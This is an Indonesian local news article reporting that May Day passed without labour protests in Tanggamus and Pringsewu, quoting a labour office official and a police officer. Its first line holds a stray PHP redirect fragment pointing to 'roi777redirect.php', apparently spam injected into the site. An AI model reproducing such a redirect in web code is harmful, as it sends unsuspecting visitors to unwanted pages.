header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); May Day, Tanggamus dan Pringsewu Sepi dari Aksi Buruh -
May Day, Tanggamus dan Pringsewu Sepi dari Aksi Buruh
ILUSTRASI (Foto: GOOGLE)

TRANSLAMPUNG.COM, TANGGAMUS – Hari Buruh Internasional (May Day) setiap 1 Mei, di Kabupaten Tanggamus sepi dari aksi para pekerja. Hal itu dibenarkan Dinas Tenaga Kerja (Disnaker) Kabupaten Tanggamus.

Kepala Disnaker Tanggamus Aswien Dasmi, melalui Kepala Bidang Ketenagakerjaan Afrida Susanti mengatakan, kepastian tidak adanya aksi para buruh itu diketahui setelah pertemuan antara perusahaan, Serikat Buruh, Polres Tanggamus, dan Disnaker sendiri di mapolres setempat, Kamis (26/4).

“Untuk di Tanggamus tidak ada aksi, serikat buruh dan perwakilan perusahaan besar sudah mengkonfirmasi soal itu. Jadi dipastikan di Tanggamus kondusif. Sebab kalau mau aksi demo atau aksi lainnya, tentu harus ada izin dari pihak kepolisian,” ujar Afrida saat dihubungi translampung.com via ponsel, Selasa (1/5).

Kendati hari Buruh Internasional ditetapkan sebagai libur nasional, namun masih ada perusahaan yang beroperasi. Sehingga ada buruh yang tetap bekerja. Hal itu menurut Afrida adalah sesuatu yang wajar dan bukanlah pelanggaran terhadap hak buruh. Mengingat setiap pabrik harus terus beroperasi untuk berproduksi.

“Ya, tetap ada yang bekerja. Contohnya supermarket. Kalau hari libur maka semakin banyak pengunjung. Begitu juga industri, tidak bisa berhenti beroperasi. Boleh saja tetap bekerja, asal dihitung lembur. Untuk teknisnya seperti apa, itu disesuaikan dengan manajemen masing-masing perusahaan,” beber Afrida.

Meskipun tidak menggelar aksi turun ke jalan dengan menyuarakan tuntutan, namun buruh di Tanggamus, lanjutnya, tetap memperingati hari Buruh Internasional. Namun lebih kepada kegiatan sosial.

“Para buruh di Tanggamus tetap memperingati May Day, namun caranya bukan dengan aksi di jalanan. Melainkan dengan cara bakti sosial. Hal itu tentu sangat positif,” ungkap Afrida.

Saat dihubungi terpisah, Kabag Ops Polres Tanggamus Kompol Aditya Kurniawan menjelaskan, di Tanggamus maupun Pringsewu, tidak ada peringatan May Day yang sifatnya masif.

Nggak ada aksi, semua aman terkendali, baik di Tanggamus maupun Pringsewu,” ujar kabag ops pada translampung.com, mewakili Kapolres Tanggamus AKBP I Made Rasma Jemy Karang.

Selain tidak ada aksi buruh, tambah Aditya, buruh dari Tanggamus juga tidak ada yang pergi ke Jakarta untuk bergabung dengan buruh lain se-Indonesia.

“Buruh dari sini nggak ada yang pergi ke luar, baik untuk ikut aksi di Bandarlampung atau Jakarta,” tandas Aditya. (ayp)

News Reporter